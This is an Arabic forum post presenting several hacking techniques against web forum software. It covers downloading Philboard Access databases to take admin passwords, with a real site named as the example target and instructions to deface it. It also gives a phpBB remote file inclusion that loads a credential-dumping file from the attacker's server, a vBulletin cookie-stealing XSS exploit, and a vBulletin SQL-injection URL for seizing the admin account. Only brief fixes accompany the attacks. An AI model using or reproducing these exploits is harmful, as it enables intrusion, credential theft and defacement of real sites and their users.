ثغرا معظم منتديات asp سأذكر احد الثغرات في بعض اللغات الديناميكية
(asp) active server pages
وطبعا هذه اللغة وللأسف بها ثغرات قوية جدا وخصوصا في التعامل مع قواعد بياناتها .
بشكل مختصر هذه اللغة تعتبر من لغات البرمجة الديناميكية التفاعلية لبرمجة مواقع الانترنت ولها ميزة بأن الكود لها مخفي والكثير من الناس يفضلونها لانها مدعومة من ما يكروسوفت.
وتعتمد قواعد بياناتها على ثلاثة أنواع هي :
sqlserver && sql && M.S Access
واما قاعدة بيانات ما يكروسوفت أكسس فثغراتها من أبسط الثغرات بحيث انك اذا وجدت امتدادا واسم قاعدة البانات فقط فانك تستطيع تحميلها على جهازك مباشرة وتصفح جميع الباسوردات بسهولة ويسر وبدون تشفير أيضا .
واليكم المثال من أحد المنتديات التي تتضح جليه بها هذه الثغرة وهي باسم philboard.asp
مثل هذا المنتدى http://www.khill.co.uk/forum/philboard.asp
وطريقة ايجاد مثل هذا النوع منتديات اذهب الى جوجل كما ذكرنا سابقا وابحث عن philboard
وانتظر النتائج ....
كيف تحمل قاعدة البيانات ؟
اكتب هذا الامتداد
وبعد ذلك حاول ان يكون المنتدى به عديد قليل من المواضيع حتى يكون حجم قاعدة البيانات صغير جدا للتطبيق والتسليم بسرعة
وهذا هو امتداد واسم قاعدة البيانات لقاعدة البيانات
database/philboard.mdb
وتكتبه بعد اسم الموقع والمنتدى مثل
http://www.khill.co.uk/forum/database/philboard.mdb
ولا بد لكي تقرا قاعدة البيانات ان يكون في جهازك برنامج ما يكروسوفت أكسس
وبعد فتح قاعدة البيانات ستجد بداخلها عدة جداول فيها جميع محتويات قاعدة البيانات
من ضمنها وهو المهم جدول المستخدمين ال
users
وستجد اول اسم عالبا هو
admin
وهو اسم المدير العام مع الباسوورد
الآن وبعد ان حصلنا على الاسم والباسوورد ماذا تبقى ؟
لم يبقى الى الدخول للوحة التحكم للمنتدى للتحكم فيه وكأنك المشرف العام
philboard_admin.asp
وهذا عنوانها
مثال
http://www.khill.co.uk/forum/philboard_admin.asp
ادخل وستجد كل منتدى وبجانبة كلمه
delete و edit
احذف كل المنتديات وأنشا منتديات جديدة واكتب عليها
hacked by xxxxxxxxxx
xxxxxxx يعني اسمك ,,,
من وين ؟
من المربعين الموجودة بالاسفل في لوحة التحكم
اكتب في المستطيل
hacked by xxxxxxxxxx
وفي المربع الي اسفله ضع رسالة تود توجيهها لاصحاب الموقع
واضغط
add
يعني اضافة
__________
والحل لهذه الثغرة / هو تغيير مسار قواعد البيانات لكل منتدى او تغيير اسمها . فكما راينا ان منتديات
philboard.asp
قواعد بياناتها جميعا لها نفس الاسم والامتداد
طريقه ثانيه عبر ثغرا منتدى phpbb
عند تركيبك لهاك الرد السريع
سوف تجد هذا الكود
if ( $mode == 'smilies' )
{
define('IN_PHPBB', true);
include($phpbb_root_path . 'extension.inc');
include($phpbb_root_path . 'common.'.$phpEx);
include($phpbb_root_path . 'includes/functions_post.'.$phpEx);
generate_smilies('window', PAGE_POSTING);
exit;
}
دقق جيدا بهذا الكود
تم أنشاء ملف جديد سمه
extension.inc
وضع داخلها مثلا شفرة
<?php
include('config'.'.php');
echo "DB Type: $dbms <br>";
echo "DB Host: $dbhost <br>";
echo "DB Name: $dbname <br>";
echo "DB User: $dbuser <br>";
echo "DB Pass: $dbpasswd <br>";
exit;
?>
يمكنك وضع الخيارات التي تود مشاهدتها من الهاك
الآن وبكل سهولة بعد تنزيل
extension.inc
الى موقع يدعم البي اتش بي
أتجه الى هذا العنوان
URL: http://[phpBB_Forum]/quick_reply.php?phpbb_root_path=http://[Your Server]/&mode=smiles
بسهولة أستبدل
[phpBB_Forum]
بعنوان المنتدى المستهدف
[Your Server]
بعنوان الموقع الذي قمت بوضع الملف اللذي أنشائناه به
ماذا ترى؟؟؟
معلومات قاعدة البيانات بين ايديك
الحل لهذه الثغرة الخطيرة والتي شردت الكثير من المنتديات :
ببساطة أفتح الملف
quick_reply.php
أبحث عن
if ( $mode == 'smilies' )
أَضف بعدها مباشرة
phpbb_root_path = "./";
وانشاءالله انحلت المشكلة
طريقه ثالثه عبر منتديات vb
أرجوا عدم استخدام الثغرة على المسلمين وفيما يظر بالإسلام وفيما حرمه الله
لكن هذي كانت على النسخة التجريبية Beta
بالنسبة للثغرة فهي واضحة
وهي تستغل عن طريق الرسائل private.php وتقوم بسرقة الكوكيز ولكن بشرط يكون مفعل كود الهتمل في المنتدى وصاحب الثغرة يذكر انه قد يكون من الضروري تسجيل الدخول لك
طبعا استغلالها عن طريق تحويل الكود لملف html مع تغيير اسم الموقع ومجلد المنتدى
http://[victim]/forum/private.php
PHP:
------------------------------------------------------------------------------From: Ferruh Mavituna
Subject: VBulletin Preview Message&nbs
p;- XSS Vuln
---------------------------------------
VBulletin Private Message&nbs
p;"Preview
Message" XSS Vulnerability
---------------------------------------
Any kind of XSS att
acks possibility.
-----------------------------------------------------
About VBulletin;
-----------------------------------------------------
PHP Based Popular Forum&
nbsp;Application
Vendor & Demo;
<a href="http://www.vbulletin.com/" target="_blank"><a href="http://www.vbulletin.com/" target="_blank">http://www.vbulletin.com/</a></a>
---------------------------------------
Vulnerable;
-----------------------------------------------------
vBulletin 3.0.0 Beta 2
<br />vBulletin 2.x
---------------------------------------
Vendor Status;
-----------------------------------------------------
I can not contact v
endor for this issue ! No patch available at&nb
sp;the moment;
-----------------------------------------------------
Solution;
-----------------------------------------------------
HTML Encoding like post&
nbsp;thread preview page;
-----------------------------------------------------
Exploit Code;
-----------------------------------------------------
<html>
<body>
<form action="http://[victim]/forum/private.php"&nbs
p;method="post"
name="vbform">
<input type="hidden" name="do" value="insertpm" />
<input type="hidden" name="pmid" value="" />
<input type="hidden" name="forward" value="" />
<input type="hidden" name="receipt" value="0" />
<input type="text" class="bginput" name="title" value="" size="40"
tabindex="2" />
<textarea name="message" rows="20" cols="70" wrap="virtual"
tabindex="3"></textarea>
<input type="submit" class="button" name="sbutton" value="Post
Message"
accesskey="s" tabindex="4" />
<input type="submit" class="button" value="Preview
Message" accesskey="p"
name="preview" onclick="this.form.dopreview = true; return
true;this.form.submit()" tabindex="5" >
<input type="checkbox" name="savecopy" value="1" id="cb_savecopy"
checked="checked" />
<input type="checkbox" name="signature" value="1" id="cb_signature" />
<input type="checkbox" name="parseurl" value="1" id="cb_parseurl"
checked="checked" />
<input type="checkbox" name="disablesmilies" value="1"
id="cb_disablesmilies" />
</form>
**********
//Set Values and Submit
// You
can write your own JS codes
var xss = "\">***************(********.coo
kie)</script>";
********.vbform.title.value=xss;
********.vbform.preview.click();
</script>
</body>
</html>
*You may need login first
Ferruh Mavituna
Web Application Security
Consultant
Freelance Developer & Designer
<a href="http://ferruh.mavituna.com"
target="_blank"><a href="http://ferruh.mavituna.com" target="_blank">http://ferruh.mavituna.com/</a></a>
طريقة أخرى1. قم بالتسجيل كعضو مع مراعاة التسجيل ببريد حقيقي
2. تدخل المنتدى كعضو بأسم المستخدم وكلمة السر الخاصة بك
3. أضغط على زر ( الأعضاء ) الموجود بالأعلي أو
members .
أو العنوان التفصيلي التالي :
http://URL/memberlist.php
URL =
العنوان المستضيف للمنتدى
مثل4. أضغط على أي مستخدم من المستخدمين عشوائيا وستلاحظ ظهور عنوان طويل بالأعلي في مستطيل العناوين
address bar .
سيظهر لك عنوان يحمل أرقاما وأحرفا عشوائية كالشكل التالي :
http://URL/member.php?soitgoe68e45u...info&userid=266
هذا العنوان الطويل يعني = عرض بيانات المستخدم رقم 266
5. بكل بساطة غير الرقم من 266 الى الرقم واحد هكذا
http://URL/member.php?soitgoe68e45u...etinfo&userid=1
العضو رقم واحد عادة وأفتراضيا يكون هو المدير للمنتدى
administrator .
(((== ها أنت تجتاز الخطوة الأولى بنجاح وتعرف من هو المدير للموقع == ))
أحفظ أسم المدير حيث أنك ستحتاجه بالخطوة التالية
6. أكتب العنوان التالي مع تغيير المتغييرات التي ساذكرها :
http://URL/member.php?action=login&...VALIDPASS&url=');'.$use rs=$DB_site->query('update+user+set+email='YOUR@EMAIL.HERE'+ WH ERE+username='ADMIN'').'
العنوان هذا ستقوم بتغيير الكلمات التالية
URL =
كما ذكرنا سابقا الموقع المستضيف للمنتدى
VALIDUSER =
أسم المستخدم الخاص بك
VALIDPASS =
كلمة السر الخاصة بك
YOUR@EMAIL.HERE =
البريد الذي سجلت به بالمنتدى
ADMIN =
أسم مدير المنتدى ( الذي أكتفشته بالخطوة السابقة )
7. بعد أن تغيير جميع ما سبق وتتأكد منه تقوم بعمل أنعاش للمنتدى عدة مرات ******* .
8. ثم ترجع لصفحة المنتدى الرئيسية
http://url/index.php
ثم حاول الدخول بأستخدام أسم المستخدم الخاص بك وأستعمال كلمة سر خاطئة ( يجب أن تكون خاطئة ) .
بالطيع ستظهر لك الصفحة التعيسة التي تقول :
أنت قمت بكتابة كلمة سر خاطئة
you typed in the wrong password
9. بكل بساطة أضغط على
نسيت كلمة السر
forgot password
والتي ستقوم بأرسال كلمة السر الى بريدك الألكتروني
10. أفتح بريدك وستجد كلمة السر الخاصة بمدير المنتدى
ملاحظة هذه الطريقة قديمة وأغلب المنتديات قاموا بإغلاق هذه الثغرة يعني لا تستطيع فعلها إلا مع منتديات اليوم
يتبع
],vm YojvNr lkj]dNj vb